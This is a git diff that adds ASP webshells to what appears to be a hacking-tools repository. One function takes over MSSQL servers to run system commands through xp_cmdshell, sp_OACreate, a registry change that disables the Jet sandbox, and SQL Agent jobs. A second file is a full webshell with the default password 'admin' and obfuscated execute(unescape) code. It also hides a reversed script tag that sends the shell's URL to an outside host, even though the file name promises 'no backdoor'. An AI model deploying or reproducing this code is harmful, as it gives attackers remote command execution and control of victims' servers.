  • 已穷举" & Drive & "盘根目录,但未有发现:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" + Message Drive & ":磁盘信息",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") + End if + Scmsg = Scmsg & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" + Set FSO = Nothing + Message "文件夹信息",Scmsg,1 +End Sub +Function Sqlrootkit() +IF SESSION("LOGIN")="" THEN + RESPONSE.WRITE "
    没有登陆

    " + ELSE RESPONSE.WRITE "
    已经登陆

    " +END IF + RESPONSE.WRITE "
    退出登陆

    " + +IF REQUEST("SQLAAA")="LOGIN" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME") + IF ERR.NUMBER=-2147467259 THEN + RESPONSE.WRITE "数据源连接错误,请检查!" + RESPONSE.END + ELSEIF ERR.NUMBER=-2147217843 THEN + RESPONSE.WRITE "用户名密码错误错误,请检查!" + RESPONSE.END + ELSEIF ERR.NUMBER=0 THEN + STRQUERY="SELECT @@VERSION" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF INSTR(RECRESULT(0),"NT 5.0") THEN + RESPONSE.WRITE "WINDOWS 2000系统
    " + SESSION("SYSTEM")="2000" + ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN + RESPONSE.WRITE "WINDOWS XP系统
    " + SESSION("SYSTEM")="XP" + ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN + RESPONSE.WRITE "WINDOWS 2003系统
    " + SESSION("SYSTEM")="2003" + ELSE + RESPONSE.WRITE "其他系统
    " + SESSION("SYSTEM")="NO" + END IF + STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0)=1 THEN + RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " + SESSION("PRI")=1 + ELSE + RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " + SESSION("PRI")=0 + END IF + SESSION("LOGIN")="YES" + SESSION("NAME")=REQUEST.FORM("NAME") + SESSION("PASS")=REQUEST.FORM("PASS") + SESSION("SERVER")=REQUEST.FORM("SERVER") + SESSION("PORT")=REQUEST.FORM("PORT") + END IF + +ELSEIF REQUEST("SQLAAA")="TEST" THEN + IF SESSION("LOGIN")<>"" THEN + IF SESSION("SYSTEM")="2000" THEN + RESPONSE.WRITE "WINDOWS 2000系统
    " + ELSEIF SESSION("SYSTEM")="XP" THEN + RESPONSE.WRITE "WINDOWS XP系统
    " + ELSEIF SESSION("SYSTEM")="2003" THEN + RESPONSE.WRITE "WINDOWS 2003系统
    " + ELSE + RESPONSE.WRITE "其他操作系统
    " + END IF + IF SESSION("PRI")=1 THEN + RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " + ELSE + RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " + END IF + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + SESSION("XP_CMDSHELL")=1 + RESPONSE.WRITE "XP_CMDSHELL............. 存在!" + ELSE + SESSION("XP_CMDSHELL")=0 + RESPONSE.WRITE "XP_CMDSHELL............. 不存在!" + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    SP_OACREATE............. 存在!" + SESSION("SP_OACREATE")=1 + ELSE + RESPONSE.WRITE "
    SP_OACREATE............. 不存在!" + SESSION("SP_OACREATE")=0 + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    XP_REGWRITE............. 存在!" + SESSION("XP_REGWRITE")=1 + ELSE + RESPONSE.WRITE "
    XP_REGWRITE............. 不存在!" + SESSION("XP_REGWRITE")=0 + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    XP_SERVICECONTROL 存在!" + SESSION("XP_SERVICECONTROL")=1 + ELSE + RESPONSE.WRITE "
    XP_SERVICECONTROL 不存在!" + SESSION("XP_SERVICECONTROL")=0 + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="CMD" THEN + IF SESSION("LOGIN")<>"" THEN + IF SESSION("PRI")=1 THEN + IF REQUEST("TOOL")="XP_CMDSHELL" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + END IF + + ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);" + ADOCONN.EXECUTE(STRQUERY) + STRQUERY = "SELECT * FROM JNC" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'" + ADOCONN.EXECUTE(STRQUERY) + END IF + + ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN + IF SESSION("SYSTEM")="2000" THEN + PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB" + ELSE + PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB" + END IF + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34) + STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');" + ADOCONN.EXECUTE(STRQUERY) + STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + STRQUERY="SELECT * FROM [JNC];" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');" + ADOCONN.EXECUTE(STRQUERY) + END IF + + ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + + IF REQUEST.FORM("CMD")<>"" THEN + IF SESSION("SQLSERVERAGENT")=0 THEN + STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';" + ADOCONN.EXECUTE(STRQUERY) + SESSION("SQLSERVERAGENT")=1 + END IF + + STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';" + ADOCONN.EXECUTE(STRQUERY) + ADOCONN.EXECUTE(STRQUERY) + ADOCONN.EXECUTE(STRQUERY) + + RESPONSE.WRITE "" + STRQUERY = "USE MSDB DROP TABLE [JNCSQL];" + ADOCONN.EXECUTE(STRQUERY) + END IF + ELSEIF REQUEST("TOOL")="" THEN + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="RESUME" THEN + IF SESSION("LOGIN")<>"" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF SESSION("XP_CMDSHELL")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复XP_CMDSHELL" + ELSEIF SESSION("SP_OACREATE")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复SP_OACREATE" + ELSEIF SESSION("XP_REGWRITE")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复XP_REGWRITE" + ELSE RESPONSE.WRITE "恭喜!组件齐全" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="SQL" THEN + IF SESSION("LOGIN")<>"" THEN + IF REQUEST.FORM("SQL")<>"" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + STRQUERY=REQUEST.FORM("SQL") + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN + SET ADOCONN=NOTHING + SESSION("LOGIN")="" + SESSION("NAME")="" + SESSION("PASS")="" + SESSION("SERVER")="" + SESSION("PORT")="" + SESSION("SYSTEM")="" + SESSION("PRI")="" +END IF +IF SESSION("LOGIN")="" THEN + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    SQL用户名:" + RESPONSE.WRITE "" + RESPONSE.WRITE " SQL密码:" + RESPONSE.WRITE "" + RESPONSE.WRITE "

    SQL服务器:" + RESPONSE.WRITE "" + RESPONSE.WRITE " SQL端口:" + RESPONSE.WRITE "" + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + +ELSE RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    组件检测:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    组件恢复:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    系统命令:" + RESPONSE.WRITE " " + RESPONSE.WRITE "" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    执行语句:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " +END IF +End Function + +Function ScReWr(folder) '1.可读,不可写。2.不可读,可写。3.可读,可写。4.不可读,不可写。 + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " [不可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写]" + Else + ReWrStr = ReWrStr & "可写]" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " [可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写]" + Else + ReWrStr = ReWrStr & "可写]" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function +sub SavePower(PowerPath,SaveType) +Set theFile = fsoX.GetFile(PowerPath) +if SaveType=1 then +theFile.Attributes=0 +o "" +else +theFile.Attributes=39 +o "" +end if +Set theFile = Nothing +end sub +sub EditPower(PowerPath) +PowerPath=replace(PowerPath,"""","") +Set theFile = fsoX.GetFile(PowerPath) +o getMyTitle(theFile,PowerPath):Set theFile = Nothing:end sub:Function getMyTitle(theOne,PowerPath):Dim strTitle:strTitle = strTitle & "
    路径: " & theOne.Path & "" :strTitle = strTitle & "
    大小: " & getTheSize(theOne.Size) :strTitle = strTitle & "
    创建时间: " & theOne.DateCreated :strTitle = strTitle & "
    最后修改: " & theOne.DateLastModified:strTitle = strTitle & "
    最后访问: " & theOne.DateLastAccessed:strTitle = strTitle & "
    当前权限状态: " & getAttributes(theOne.Attributes,PowerPath):getMyTitle = strTitle:End Function:Function getAttributes(intValue,PowerPath):Dim EditOK:EditOK=1:If intValue >= 128 Then:intValue = intValue - 128:End If:If intValue >= 64 Then:intValue = intValue - 64:End If:If intValue >= 32 Then:intValue = intValue - 32:End If:If intValue >= 16 Then:intValue = intValue - 16:End If:If intValue >= 8 Then:intValue = intValue - 8:End If:If intValue >= 4 Then:intValue = intValue - 4:EditOK=0:End If:If intValue >= 2 Then:intValue = intValue - 2:EditOK=0:End If:If intValue >= 1 Then:intValue = intValue - 1:EditOK=0:End If:PowerPath=replace(PowerPath,"\","\\"):if EditOK=0 then :getAttributes = "已锁定 ":else:getAttributes = "未锁定 ":end if:End Function:Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function +Set FsoX = Nothing + + +Case "ReadREG":call ReadREG() +Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +Case "DownFile":DownFile FName:ShowErr() +Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case "upfile":upfile() +Case "Cmd1Shell":Cmd1Shell() +Case "Logout":Session.Contents.Remove("webadministrators"):Response.Redirect URL +Case "CreateMdb":CreateMdb FName +Case "CompactMdb":CompactMdb FName +Case "DbManager":DbManager() +Case "Course":Course() +Case "SetFileText":SetFileText() +Case "Mssql":Mssql() +case "php":php() +Case "PageCheck":PageCheck() +Case "PageUpFile":PageUpFile() +Case "PageExecute":PageExecute() +Case "FsoFileExplorer":FsoFileExplorer() +Case "AppFileExplorer":AppFileExplorer() +Case "suftp":suftp() +Case "TSearch":TSearch() +Case "Sqlrootkit":sqlrootkit() +case "apjdel":apjdel() +Case "radmin":radmin() +Case "pcanywhere4":pcanywhere4() +Case "adminab":adminab() +Case "UpLoad":UpLoad() +case "hiddenshell":hiddenshell() +Case "ScanDriveForm":ScanDriveForm() +Case "ScanDrive": ScanDrive(Request("Drive")) +Case "ScFolder":ScFolder(Request("Folder")) +Case "MainMenu":MainMenu() +Case "EditPower":Call EditPower(request("PowerPath")) +Case "SavePower":Call SavePower(request("PowerPath"),request("SaveType")) +Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +o"" +Sub Message(state,msg,flag) +o "
    " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    系统信息
    " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    " +o state +o "

    " +o msg +o "

    " +o "
    " +o " " +If flag=0 Then +o " " +o " " +Else +o " " +o " " +End if +o "
    " +End Sub +%> + diff --git "a/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" "b/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" new file mode 100644 index 0000000..333f62d --- /dev/null +++ "b/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" @@ -0,0 +1,1136 @@ +<% +UserPass="admin" '密码 +mNametitle="Web Shell " '名字 +BodyColor="pink" '整体页面背景颜色 +FontColor="#000" '普通文字颜色 +LinkColor="#50616d" '链接颜色 +BorderColor="#d8d8d8" '文件边框颜色 +LinkOverBJ="#000000" '鼠标移到链接上面背景的颜色 +LinkOverFont="red" '鼠标移到链接上面文字的颜色 +FormColorBj="#dddddc" '输入框架背景颜色 +FormColorBorder="#222000" '输入框架边框颜色 +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +sub ShowErr() + If Err Then +RRS"

    " +Err.Clear:Response.Flush + End If +end sub +Sub RRS(str) +response.write(str) +End Sub +Function RePath(S) + RePath=Replace(S,"\","\\") +End Function +Function RRePath(S) + RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action") +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +FolderPath=Request("FolderPath") +FName=Request("FName") +acode="=lru?psa.br/moc.ces0908.niamoD//:ptth'=crs tpircs<" +BackUrl="

    返回
    " +Function UZSS(objstr):objstr=Replace(objstr,"Θ",""""):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>"Ω" Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function +RRS"" +RRS""&mNametitle&" - "&ServerIP&" " +RRS"" +dim a,b +a=" RRS%22%3Cscript%20language%3Djavascript%3Efunction%20killErrors%28%29%7Breturn%20true%3B%7Dwindow.onerror%3DkillErrors%3B%22%0D%0ARRS%22function%20yesok%28%29%7Bif%20%28confirm%28%22%22%u4F60%u786E%u8BA4%u8981%u6267%u884C%u6B64%u64CD%u4F5C%u5417%uFF1F%22%22%29%29return%20true%3Belse%20return%20false%3B%7D%22%0D%0ARRS%22function%20ShowFolder%28Folder%29%7Btop.addrform.FolderPath.value%20%3D%20Folder%3Btop.addrform.submit%28%29%3B%7D%22%0D%0ARRS%22function%20FullForm%28FName%2CFAction%29%7Btop.hideform.FName.value%20%3D%20FName%3Bif%28FAction%3D%3D%22%22CopyFile%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u590D_%u5236%u5230%u76EE%u6807%u6587_%u4EF6%u7684_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22MoveFile%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165_%u79FB_%u52A8%u5230%u76EE%u6807%u6587%u4EF6_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22CopyFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u79FB%u52A8%u5230%u76EE%u6807%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22MoveFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u79FB%u52A8%u5230%u76EE%u6807%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20+%3D%20%22%22%7C%7C%7C%7C%22%22+DName%3B%7Delse%20if%28FAction%3D%3D%22%22NewFolder%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u65B0%u5EFA%u7684%u6587%u4EF6%u5939_%u5168_%u540D_%u79F0%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%20if%28FAction%3D%3D%22%22CreateMdb%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u65B0%u5EFA%u7684Mdb%u6587%u4EF6_%u5168_%u540D_%u79F0%2C%u6CE8%u610F%u4E0D%u80FD%u540C%u540D%uFF01%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%20if%28FAction%3D%3D%22%22CompactMdb%22%22%29%7BDName%20%3D%20prompt%28%22%22%u8BF7%u4F60%u8F93%u5165%u8981%u538B%u7F29%u7684Mdb%u6587%u4EF6_%u5168_%u540D_%u79F0%2C%u6CE8%u610F%u6587%u4EF6%u662F%u5426%u5B58%u5728%uFF01%22%22%2CFName%29%3Btop.hideform.FName.value%20%3D%20DName%3B%7Delse%7BDName%20%3D%20%22%22Other%22%22%3B%7Dif%28DName%21%3Dnull%29%7Btop.hideform.Action.value%20%3D%20FAction%3Btop.hideform.submit%28%29%3B%7Delse%7Btop.hideform.FName.value%20%3D%20%22%22%22%22%3B%7D%7D%22" +b=replace(a,"@@@","Rinimama") +c=split(b,"Rinimama") +for i=0 to ubound(c) +temp=temp+c(i) +next +execute(unescape(temp)) +RRS"function DbCheck(){if(DbForm.DbStr.value == """"){alert(""请你先连接数据库"");FullDbStr(0);return false;}return true;}" +RRS"function FullDbStr(i){if(i<0){return false;}Str = new Array(12);Str[0] = ""Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RePath(Session("FolderPath"))&"\\db.mdb;Jet OLEDB:Database Password=***"";Str[1] = ""Driver={Sql Server};Server="&ServerIP&",1433;Database=DbName;Uid=sa;Pwd=****"";Str[2] = ""Driver={MySql};Server="&ServerIP&";Port=3306;Database=DbName;Uid=root;Pwd=****"";Str[3] = ""Dsn=DsnName"";Str[4] = ""SELECT * FROM [TableName] WHERE ID<100"";Str[5] = ""INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"";Str[6] = ""DELETE FROM [TableName] WHERE ID=100"";Str[7] = ""UPDATE [TableName] SET USER=\'username\' WHERE ID=100"";Str[8] = ""CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"";Str[9] = ""DROP TABLE [TableName]"";Str[10]= ""ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"";Str[11]= ""ALTER TABLE [TableName] DROP COLUMN PASS"";Str[12]= ""当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"";if(i<=3){DbForm.DbStr.value = Str[i];DbForm.SqlStr.value = """";abc.innerHTML=""
    请确认己连接数据库再输入SQL操作命令语句。
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}" +RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""请你检查数据库连接串是否正确!"");return false;}if(str.length<10){alert(""请你检查SQL语句是否正确!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"" +rrs "" +Dim ObT(13,2):ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "文 件 操 作 组 件":ObT(1,0) = "wscript.shell":ObT(1,2) = "命 令 行 执 行 组 件":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 建 库 组 件":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 压 缩 组 件":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "数据流 上 传 辅助 组件":ObT(5,0) = "Adodb.connection":ObT(5,2) = "数据库 连接 组件":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "数据流 上传 组件":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 文件 上传 